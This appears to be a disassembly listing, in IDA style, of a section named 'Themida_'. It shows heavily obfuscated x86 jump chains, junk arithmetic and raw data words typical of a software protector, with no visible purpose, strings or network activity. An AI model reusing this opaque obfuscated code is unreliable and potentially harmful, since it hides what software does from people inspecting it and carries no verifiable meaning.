		dd 0C8904ECh, 0F6F7B524h, 8EDC0D5h, 0E919CD80h,	3C27h
dword_58500C	dd 0EC8352ACh, 241C8904h, 4098E9h, 0D6015800h, 6EE9515Ah
					; DATA XREF: Themida_:005841CCo
		dd 68000090h, 36BCh, 83242489h,	8B042404h, 0C4832434h
		dd 4EC8104h, 89000000h,	4B82404h, 1000000h, 75AEE9C6h
		dd 3C330000h, 24248B24h, 240C8B66h, 2ACA68h, 240C8900h
		dd 0C4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_585061:				; CODE XREF: Themida_:0058540Dj
		sub	ebx, 4E9B0DE8h
		jmp	loc_586137
; ---------------------------------------------------------------------------
		dd 8B240487h, 0EC812424h, 4, 53240C89h,	3F9668h, 243C8900h
		dd 393B36BFh, 0FFEF837Fh, 61A9E9h, 24048900h, 9486E9h
		dd 94E95500h, 59000027h, 0D800F22Ch, 61E95153h,	89000052h
		dd 9AB9240Ch, 57443878h, 4BB8BA52h, 5F522BDCh, 5FFB015Ah
		dd 0BE56CB01h, 21E56DFAh, 4FF68146h, 81417B73h,	42550CF6h
		dd 3C3814Bh, 29578F43h,	3EB81F3h, 5E578F43h, 75A0E9h, 0F385E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5850EE:				; CODE XREF: Themida_:0058E07Aj
		push	ecx
		mov	ecx, 3F704DDFh
		push	ebp
		mov	ebp, 3AD15493h
		neg	ebp
		shr	ebp, 7
		and	ebp, 6A935E37h
		or	ebp, 60264AB2h
		jmp	loc_58FD77
; ---------------------------------------------------------------------------
		dd 815FFE31h, 752414EEh, 5EF331BBh, 4D95C681h, 0DE014BF6h
		dd 4D95EE81h, 335B4BF6h, 4DE92434h, 5C000026h, 762DD001h
		dd 5A00477Bh, 6E10BF57h, 87573934h, 0D0F72404h,	0E9240487h
		dd 51EBh, 15F86859h, 3C890000h,	81E78924h, 4C7h, 54E95600h
		dd 53000042h, 8C4BABBBh, 97E94B0Eh
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585173:				; CODE XREF: Themida_:0058B1A6j
		push	0E9025F6h
		pop	ebx
		and	ebx, 2BB30AB4h
		push	ebp
		mov	ebp, 0A8449E8h
		jmp	loc_590550
; ---------------------------------------------------------------------------
		dw 2BBAh
		dd 815DC26Bh, 3D94D7C2h, 5AD589A2h, 2C8BEE01h, 4C48124h
		dd 87000000h, 248B2434h, 0E9515324h, 4312h, 5866C230h
		dd 148BD328h, 4C48324h,	0FFC0B60Fh, 55508734h, 30DD6856h
		dd 12E94F35h, 1000070h,	0FF515FF9h, 8B042474h, 0C483240Ch
		dd 24048F04h, 2C63E9h
		db 0
; ---------------------------------------------------------------------------


loc_5851E5:				; CODE XREF: Themida_:0058C21Bj
		push	eax
		mov	ah, 0C7h
		jmp	loc_58DC16
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 9Fh
		dd 0BD55C639h, 6C2E0CF5h, 9B45E9h, 0A1E94300h, 81000023h
		dd 0FB79FDC9h, 7484E964h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58520E:				; CODE XREF: Themida_:0058FB33j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58C5EF
; ---------------------------------------------------------------------------
aVqsgd		db '[VQé£d',0
		db 0
; ---------------------------------------------------------------------------


loc_585221:				; CODE XREF: Themida_:0058B11Bj
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_58D617
; ---------------------------------------------------------------------------
		db 80h
		dd 0C38072C3h, 3FF380FFh, 0A32C7104h, 6D89E9h, 24348700h
		dd 9DC18159h, 13E442Eh,	0C68159CEh, 4, 5C243487h, 8B2434FFh
		dd 0C481240Ch, 4, 5FEEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58526A:				; CODE XREF: Themida_:0058856Aj
		mov	ebp, 5AFC2D20h
		sub	ebp, 442128E0h
		jmp	loc_589F72
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EC810000h, 4, 0E9240489h, 68E3h, 72550566h
		dd 66D80166h, 0E972552Dh, 6271h
; ---------------------------------------------------------------------------


loc_5852A0:				; CODE XREF: Themida_:0058A013j
		dec	eax
		and	eax, 2FAE139Dh
		inc	eax
		or	eax, 10B277F6h
		sub	eax, 10B677F5h
		jmp	loc_586B9E
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 936E9h
		db 0
; ---------------------------------------------------------------------------


loc_5852BD:				; CODE XREF: Themida_:00585B22j
		add	ebp, 0B53AF79Ch
		sub	ecx, 7F2F5179h
		add	ecx, ebp
		add	ecx, 7F2F5179h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_587CC8
; ---------------------------------------------------------------------------
		dd 0E9D30166h, 955Ah, 0FFF186E9h, 4BB53FFh, 29000000h
		dd 3C875BDFh, 14895C24h, 4EC8324h, 51240489h, 4EC81h, 2C890000h
		dd 0FEDBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585312:				; CODE XREF: Themida_:0058DEE8j
		mov	[esp], ecx
		jmp	loc_58623D
; ---------------------------------------------------------------------------


loc_58531A:				; CODE XREF: Themida_:0058BB57j
		mov	edi, esp
		add	edi, 4
		jmp	loc_58822D
; ---------------------------------------------------------------------------
		db 81h
		dd 0D84181C6h, 0E9C60172h, 4387h, 6B03C681h, 0EB818A44h
		dd 57AA5C8Fh, 0C381F301h, 57AA5C8Fh, 6FB7E9h, 24442900h
		dd 79685804h, 0E900002Ah, 2B30h
; ---------------------------------------------------------------------------


loc_58535C:				; CODE XREF: Themida_:0058DAF7j
		shr	edi, 3
		xor	edi, 13A65EBCh
		xor	ecx, edi
		pop	edi
		jmp	loc_58D87D
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0F1h
		dd 0BE000082h, 4, 0ACE9F301h, 59000033h, 0F6DAEE80h, 6FCE80D6h
		dd 0E955C680h, 1874h, 4535E281h, 0E2C1301Dh, 70BF5702h
		dd 2958A6D0h, 0D3295FFAh, 94E3815Ah, 81090E51h,	5725E5F3h
		dd 85C38125h, 0E9F332EFh, 29E1h, 5302E2C1h, 27F3E955h
		dd 0E3C10000h, 78B95102h, 0E9171068h, 74F7h, 815DEF01h
		dd 82223AEFh, 0FD2EE98Dh, 0C483FFFFh, 25146804h, 2C890000h
		dd 30CFE924h, 1FBB0000h, 1FA4110h, 0A73AE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5853FE:				; CODE XREF: Themida_:00585E79j
		sub	ebx, 7E9C1711h
		pop	ecx
		add	ebx, 4E9B0DE8h
		add	ebx, ecx
		jmp	loc_585061
; ---------------------------------------------------------------------------
aSoc		db '\éO–',0
		align 4
		dd 52C3295Eh, 0F906B3BAh, 5AD32938h, 26F68h, 24348900h
		dd 100B951h, 0C18113FBh, 1F3140CFh, 43C18141h, 0E9419C55h
		dd 5E36h, 2DFABF57h, 80E96BC6h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58544F:				; CODE XREF: Themida_:00585A2Aj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	50F2h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_58B92E
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 52512414h, 0D188F4B2h, 8853505Ah,	5BFC88CFh
		dd 88E18851h, 63A3E9CAh, 0C7810000h, 1FFC0C3Eh,	0EF81DF01h
		dd 1FFC0C3Eh, 2386BD55h, 0EF2949AEh, 83242C8Bh,	1C8B04C4h
		dd 4C48324h, 0EF81F701h, 2C975282h, 2C7815Eh, 87000000h
		dd 16E9243Ch, 5A000091h, 0F8E9C328h, 81000003h,	663767E9h
		dd 0AEBB5302h, 2963CD4Eh, 0BD555BD9h, 2C87098Eh, 8B5CE9h
		dd 5EF72100h, 2791C781h, 0FA211B96h, 0FFF3C4E9h, 4EC81FFh
		dd 89000000h, 4DB3241Ch, 9B99E9h
		db 0
; ---------------------------------------------------------------------------


loc_585509:				; CODE XREF: Themida_:00589AE8j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	5103h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, eax
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_58D31A
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0A2h
		dd 0C1675E17h, 0C78104E7h, 64F70ED7h, 56F3F781h, 8952D958h
		dd 5AD089FAh, 2ABB535Fh, 0C1785764h, 78E905E3h,	5C000095h
		dd 0FF242C89h, 8B042474h, 0C483242Ch, 0F0C7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585582:				; CODE XREF: Themida_:0058C0D6j
		mov	[esp], eax
		xchg	ebx, [esp]
		push	ebx
		jmp	loc_58C58F
; ---------------------------------------------------------------------------
		dw 760Dh
		dd 0D2CB122h, 7D066E47h, 0BF7F7B35h, 7F14E97Fh,	0C1810000h
		dd 74DB40B4h, 0E981D901h, 74DB40B4h, 5B2434FFh,	8304C483h
		dd 19E902C1h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5855BF:				; CODE XREF: Themida_:0058A60Dj
		mov	ebp, 16BD021Eh
		add	edi, ebp
		pop	ebp
		xor	edi, 62F545E6h
		add	edi, 0BB0BF8ACh
		add	eax, edi
		jmp	loc_588599
; ---------------------------------------------------------------------------
		dw 555Bh
		dd 2BDh, 5DEA0100h, 8B241487h, 0F662424h, 9C2404BBh, 0FFEE7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5855F5:				; CODE XREF: Themida_:00587A23j
		mov	bh, 17h
		mov	dh, bh
		pop	ebx
		or	ch, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5871A3
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
aZ111S@		db 'Z1Ð1Â1Ðéº@',0
		align 4
aCr2		db 'CRº2',0
		db 0FAh, 5Dh, 4Ah
		dd 0B7CCEA81h, 0D3315264h, 5BD9215Ah, 708DC181h, 0CF8915FDh
		dd 83240C8Bh, 50E904C4h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58564B:				; CODE XREF: Themida_:00588726j
		xor	[esp], edx
		pop	eax
		push	ebx
		jmp	loc_58DE4D
; ---------------------------------------------------------------------------
		db 0BBh, 0B9h, 0Fh
		dd 0D9315D9Ah, 75EA815Bh, 1121369h, 75C281CAh, 59121369h
		dd 9A72E9h, 24048900h, 0EC83E089h, 8764E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58567E:				; CODE XREF: Themida_:0058F055j
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		push	7424h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_58CD50
; ---------------------------------------------------------------------------


loc_585695:				; CODE XREF: Themida_:0059016Bj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58F401
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4BB53h, 0E8E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5856B3:				; CODE XREF: Themida_:00584E67j
		push	4090524Fh
		jmp	loc_586185
; ---------------------------------------------------------------------------


loc_5856BD:				; CODE XREF: Themida_:00590487j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58B1C6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2EE81h, 34330000h, 24343124h, 8B243433h, 89662424h
		dd 8CE9240Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5856E7:				; CODE XREF: Themida_:00584AF8j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_586A66
		push	13CCh
		jmp	loc_58B9B4
; ---------------------------------------------------------------------------


loc_585706:				; CODE XREF: Themida_:0058837Dj
		push	edx
		mov	edx, 619D3B16h
		add	[esp+8], edx
		pop	edx
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 619D3B16h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58D639
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 5C241C87h, 31241C33h, 1C33241Ch, 24248B24h, 0E99CC83Bh
		dd 0FFFFED27h
; ---------------------------------------------------------------------------


loc_58574C:				; CODE XREF: Themida_:005872DCj
		push	eax
		jmp	loc_58C4B3
; ---------------------------------------------------------------------------
		dw 1368h
		dd 8900007Fh, 0E9552434h, 0FFFFF766h, 4BA525Bh,	1000000h
		dd 34875AD6h, 0A15CE924h
		db 2 dup(0)
word_585772	dw 0C8Bh		; DATA XREF: Themida_:005842CCo
aS0		db '$é0<',0
		align 2


loc_58577A:				; CODE XREF: Themida_:00584B77j
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, edx
		jmp	loc_588D4E
; ---------------------------------------------------------------------------
		dd offset dword_4D677C+78ECh
		align 4
		dd offset dword_49457C+0E16Dh
		dd 0A7BA5200h, 834D1362h, 0C281FFC2h, 0FDC30B76h, 815AD629h
		dd 28462EEEh, 680Ah, 34FF0000h,	2434FF24h, 0E089505Bh
		dd 405h, 964FE900h, 2AB10000h, 0E9DEE980h, 0A771h
; ---------------------------------------------------------------------------


loc_5857D8:				; CODE XREF: Themida_:00588F56j
		pop	ebx
		push	ebp
		jmp	loc_584820
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0BFE980ABh, 0C180E128h, 24048BBFh, 6BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5857F1:				; CODE XREF: Themida_:0058AF50j
		mov	eax, ecx
		jmp	loc_5873FF
; ---------------------------------------------------------------------------


loc_5857F8:				; CODE XREF: Themida_:00586038j
		push	430Eh
		mov	[esp], ebp
		mov	ebp, 497C61D1h
		shr	ebp, 8
		add	ebp, 0FFB6839Eh
		mov	esi, ebp
		pop	ebp
		sub	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_58C8DE
; ---------------------------------------------------------------------------


loc_58581C:				; CODE XREF: Themida_:00585A70j
		sub	edx, 58511DB2h
		pop	ebp
		jmp	loc_587E02
; ---------------------------------------------------------------------------


loc_585828:				; CODE XREF: Themida_:00589F78j
		or	ebp, 401736DEh
		jmp	loc_58A255
; ---------------------------------------------------------------------------


loc_585833:				; CODE XREF: Themida_:0058FFF2j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		push	eax
		sub	esp, 4
		mov	[esp], edi
		push	6074036Ah
		jmp	loc_585C82
; ---------------------------------------------------------------------------
		dw 2489h
		dd 4BB5324h, 1000000h, 5B04245Ch, 0FFF18DE9h, 5F829FFh
		dd 1D2743B7h, 5480BF57h, 0F82952DEh, 248055Fh, 525F47BDh
		dd 26232568h, 0AE56E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58588E:				; CODE XREF: Themida_:0058F305j
		xchg	ch, ah
		dec	ch
		xchg	ch, ah
		jmp	loc_58CC56
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 9Bh
		dd 817DD641h, 0DF29A2CEh, 0B9515712h, 63BA4F19h, 0D1F7D9F7h
		dd 91C8E941h, 0D8010000h, 4EC815Bh, 89000000h, 6CE92404h
		dd 6600009Dh, 4DA3E951h, 0E9580000h, 5B6Bh
; ---------------------------------------------------------------------------


loc_5858D4:				; CODE XREF: Themida_:0058A797j
		sub	edi, 3EE3167Fh
		or	edi, 5C67560h
		xor	edi, 0DDFFF4Ah
		mov	eax, edi
		pop	edi
		jmp	loc_5875D9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6D3CE9h, 24048900h, 730AE9h, 51685000h, 5872DA40h
		dd 0D100A92Dh, 6214E939h
		db 2 dup(0)
word_585912	dw 77FFh		; DATA XREF: Themida_:00584318o
		dd 19589D1Ch, 0E99C2404h, 0FFFFEB53h
; ---------------------------------------------------------------------------


loc_585920:				; CODE XREF: Themida_:0058465Dj
		add	edx, 1B332B08h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_587BF9
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 59274AD2h
		push	ebp
		push	ecx
		jmp	loc_586B35
; ---------------------------------------------------------------------------


loc_585949:				; CODE XREF: Themida_:0058891Dj
		mov	ebx, esp
		jmp	loc_5877DF
; ---------------------------------------------------------------------------
		dd 4BE565Eh, 81000000h,	787FECC2h, 81F2013Ch, 787FECEAh
		dd 14335E3Ch, 24143124h, 73BFE9h, 0C0DFF600h, 0EFC004EFh
		dd 67C78008h, 5202EFC0h, 9CF3E9h, 88505A00h, 0C17E9E8h
		dd 0C3890000h, 7219BE58h, 0DE297658h, 5EF3015Bh, 3304C383h
		dd 1C31241Ch, 241C3324h, 0E924248Bh, 8F9Bh, 0FFEABEE9h
		dd 5DEF01FFh, 233168h, 241C8900h, 2BBh,	5BDF0100h, 31243C33h
		dd 0F5E9243Ch, 5C00005Fh, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_588BAE
; ---------------------------------------------------------------------------


loc_5859E0:				; CODE XREF: Themida_:00590089j
		push	7BB4h
		mov	[esp], edi
		mov	edi, 5B8220D7h
		not	edi
		push	edx
		mov	edx, 7D782589h
		push	esi
		mov	esi, 0D905FAA5h
		xor	edx, esi
		pop	esi
		xor	edi, edx
		mov	edx, [esp]
		jmp	loc_58DC38
; ---------------------------------------------------------------------------
		dd 2414895Ch, 42474FFh,	8356E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585A16:				; CODE XREF: Themida_:0058AD86j
		push	edx
		jmp	loc_5872EE
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 0E9000000h, 6675h
; ---------------------------------------------------------------------------


loc_585A28:				; CODE XREF: Themida_:00588AA9j
		and	eax, edx
		jmp	loc_58544F
; ---------------------------------------------------------------------------
byte_585A2F	db 66h			; DATA XREF: Themida_:0058430Co
		dd 68240C8Bh, 4B21h, 81241C89h,	4ECh, 276800h, 0F7E90000h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585A4B:				; CODE XREF: Themida_:00589874j
		and	[esp], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585A54:				; CODE XREF: Themida_:00587C1Bj
		mov	edx, 48720EA0h
		and	edx, 402D7434h
		push	ebp
		mov	ebp, 0EA80E75Ah
		push	ecx
		mov	ecx, 58511DB2h
		add	edx, ecx
		pop	ecx
		sub	edx, ebp
		jmp	loc_58581C
; ---------------------------------------------------------------------------


loc_585A75:				; CODE XREF: Themida_:00589619j
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_58B9DB
		push	48h
		mov	[esp], edx
		push	edi
		mov	edi, 4F41489Dh
		sub	edi, 0FED1269Eh
		add	[esp+4], edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58C818
; ---------------------------------------------------------------------------
		db 89h
		dd 8B54241Ch, 0C483241Ch, 3E5C6804h, 3C890000h,	71C8BF24h
		dd 0D7F7547Ch, 8E33F781h, 0F6E9AB83h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585ADB:				; CODE XREF: Themida_:0058B6B8j
		mov	ebp, esi
		jmp	loc_58889E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F24CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585AEA:				; CODE XREF: Themida_:0058FDB0j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_584507
; ---------------------------------------------------------------------------


loc_585AF8:				; CODE XREF: Themida_:0058485Fj
		neg	cl
		sub	cl, 4Ah
		shr	cl, 5
		push	eax
		mov	ah, 71h
		xor	ah, 58h
		xchg	dl, ah
		push	edx
		jmp	loc_58F2F9
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5D0424h, 895C2404h, 0FBE9240Ch
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585B1F:				; CODE XREF: Themida_:0058C3C8j
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5852BD
; ---------------------------------------------------------------------------
		db 29h
		dd 92BA52C3h, 0E965E80Fh, 2A72h
; ---------------------------------------------------------------------------


loc_585B34:				; CODE XREF: Themida_:0058EEE3j
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_58FF1F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522414h, 2CD6h
; ---------------------------------------------------------------------------


loc_585B58:				; CODE XREF: Themida_:0058F753j
		pop	eax
		pop	ebp
		pop	ecx
		jmp	loc_586169
; ---------------------------------------------------------------------------
		dd 0E90DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585B66:				; CODE XREF: Themida_:0058F95Bj
		xor	ecx, esi
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 40h
		jmp	loc_585F6F
; ---------------------------------------------------------------------------


loc_585B8F:				; CODE XREF: Themida_:005878E7j
		push	ebx
		push	4
		pop	ebx
		add	edi, 2C7A1BBAh
		jmp	loc_58CE53
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 4
		dd 31242C33h, 90E9242Ch, 28FFFFEDh, 41EB80D3h, 8324148Bh
		dd 0B60F04C4h, 148B66C0h, 0A246824h, 2EE90000h,	42FFFFFDh
		dd 8FBFE9h, 0F2E95300h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585BD7:				; CODE XREF: Themida_:00584AEAj
		add	ebx, 152C21ACh
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	5357h
		jmp	loc_58B41C
; ---------------------------------------------------------------------------
		db 81h
		dd 5E53C1EBh, 0E9DD0150h, 731Fh
; ---------------------------------------------------------------------------


loc_585C00:				; CODE XREF: Themida_:00585F6Aj
		sub	ebp, 32C15CCh
		jmp	loc_58985F
; ---------------------------------------------------------------------------


loc_585C0B:				; CODE XREF: Themida_:0058A38Cj
		push	edi
		jmp	loc_58FB5B
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0F0h
aAusfqssy	db '€î˜fQSéY;',0
		dw 2900h
		dd 5BD989CBh, 71F0E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585C2A:				; CODE XREF: Themida_:00586174j
		mov	[esp], edi
		push	ecx
		mov	ecx, 7E254C5Fh
		push	ecx
		push	ebp
		push	2F5E5E48h
		mov	ebp, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		pop	ebp
		pop	edi
		xor	edi, 2F5E5E48h
		pop	ecx
		and	edi, 664D1355h
		xor	edi, 0A061EFh
		push	esi
		mov	esi, 995AA646h
		add	edi, 6875611Bh
		sub	edi, 78482AEFh
		add	edi, esi
		add	edi, 78482AEFh
		sub	edi, 6875611Bh
		pop	esi
		jmp	loc_58E008
; ---------------------------------------------------------------------------


loc_585C82:				; CODE XREF: Themida_:00585855j
		pop	edi
		xor	edi, 6074036Bh
		push	edi
		pop	eax
		pop	edi
		jmp	loc_588392
; ---------------------------------------------------------------------------
		db 0E9h, 0DDh, 0E7h
		dd 0E9C1FFFFh, 0FFE98304h, 5062E981h, 0EB8104F7h, 3BE6FDEh
		dd 5504E9h, 52E18900h, 6A56BB53h, 0A1E93319h, 100001Fh
		dd 241C8BDAh, 891EE9h
		db 0
byte_585CC5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005841B8o
		dd 582434FFh, 519968h, 24348900h, 234A68h, 307E900h, 0D9010000h
		dd 3017E981h, 875B65B1h, 0E95C240Ch, 0FFFFE783h
; ---------------------------------------------------------------------------


loc_585CF0:				; CODE XREF: Themida_:0058461Bj
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_58BF64
; ---------------------------------------------------------------------------


loc_585CFE:				; CODE XREF: Themida_:0058E818j
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		jmp	loc_587673
; ---------------------------------------------------------------------------
dword_585D1C	dd 240C8B66h, 0A4D8E9h		db 0
; ---------------------------------------------------------------------------


loc_585D25:				; CODE XREF: Themida_:00587D20j
		mov	edx, edi
		mov	ebp, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_586FF6
; ---------------------------------------------------------------------------
		db 0BDh, 22h, 6Fh
		dd 0F58149FFh, 48961ABCh, 3E08F581h, 5EE93471h,	81000055h
		dd 9859DFC6h, 0E9FE017Dh, 7CB5h
; ---------------------------------------------------------------------------


loc_585D84:				; CODE XREF: Themida_:00587B22j
		mov	[esp], ebx
		jmp	loc_586C3B
; ---------------------------------------------------------------------------


loc_585D8C:				; CODE XREF: Themida_:0058D41Dj
		inc	edi
		push	ebx
		jmp	loc_588EF6
; ---------------------------------------------------------------------------


loc_585D93:				; CODE XREF: Themida_:0058A962j
		neg	esi
		sub	esi, 0AE4372A5h
		shr	esi, 3
		add	esi, 15767F34h
		add	ecx, esi
		pop	esi
		add	ecx, 47CAA29Ah
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59012B
; ---------------------------------------------------------------------------
		db 50h,	83h, 0ECh
		dd 2696E904h
		db 2 dup(0)
word_585DBE	dw 8B66h		; DATA XREF: Themida_:0058440Co
		dd 54552404h, 4E4685Dh,	14890000h, 42D4BA24h, 0EA814242h
		dd 41237C18h, 0C281D2F7h, 11EC6C1h, 9145E9h, 240C8B00h
		dd 4F2268h, 242C8900h, 5FFFE9h,	5DEA0100h, 6853C229h, 51EF119Ch
		dd 2DEA815Bh, 29516F34h, 2DB850DAh, 1516F34h, 34FF58C2h
		dd 241C8B24h, 5004C483h, 4055854h, 83000000h, 0E4E904C0h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585E2B:				; CODE XREF: Themida_:0058F90Aj
		push	edi
		mov	edi, 4287536Bh
		xor	edi, 31517BB7h
		and	eax, edi
		pop	edi
		neg	eax
		push	13E5h
		mov	[esp], esi
		jmp	loc_5881F9
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 0E621E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585E52:				; CODE XREF: Themida_:0058CC91j
		add	esp, 4
		jmp	loc_58BFEE
; ---------------------------------------------------------------------------
aSR		db '(<$é×R',0
		align 2
aWssW		db 'WSé',9,'w',0
		db 0
; ---------------------------------------------------------------------------


loc_585E69:				; CODE XREF: Themida_:0058811Ej
		pop	ebp
		push	ecx
		mov	ecx, 0B250FB71h
		push	ecx
		add	dword ptr [esp], 7E9C1711h
		pop	ebx
		jmp	loc_5853FE
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 240C8BCBh,	4C481h,	0C5E90000h, 81000045h
		dd 0ABD04BF3h, 0E9D829A8h, 0D2Ah, 80D7F659h, 0C78062F7h
		dd 9CCF804Dh, 0E987F780h, 0FFFFEE2Eh, 23BFE958h, 57590000h
		dd 0C05940BFh, 2681E922h, 0C2810000h, 4A231F51h, 96E9EA29h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585ED3:				; CODE XREF: Themida_:00586D08j
		mov	[esp], esi
		jmp	loc_58F952
; ---------------------------------------------------------------------------
		db 81h
		dd 7B281DC5h, 5F17E98Eh, 0EC800000h, 7B20E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585EEE:				; CODE XREF: Themida_:005847DAj
		pop	edi
		xor	esi, 7EAB69DCh
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58B232
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0C281D2F7h, 0C29D9CE3h, 815AD601h, 610CCAE9h, 81F10115h
		dd 610CCAC1h, 24348B15h, 8304C483h, 1C8904ECh, 67F0E924h
		dd 0C870000h, 34FF5C24h, 59685824h, 89000055h, 0D3E92434h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585F4B:				; CODE XREF: Themida_:0058A88Fj
		neg	esi
		xor	esi, 39F7519Ah
		sub	esi, 0E113DA43h
		add	eax, esi
		pop	esi
		pop	esi
		and	eax, 0D8E25BAh
		sub	eax, 10A0586h
		mov	esi, eax
		pop	eax
		jmp	loc_585C00
; ---------------------------------------------------------------------------


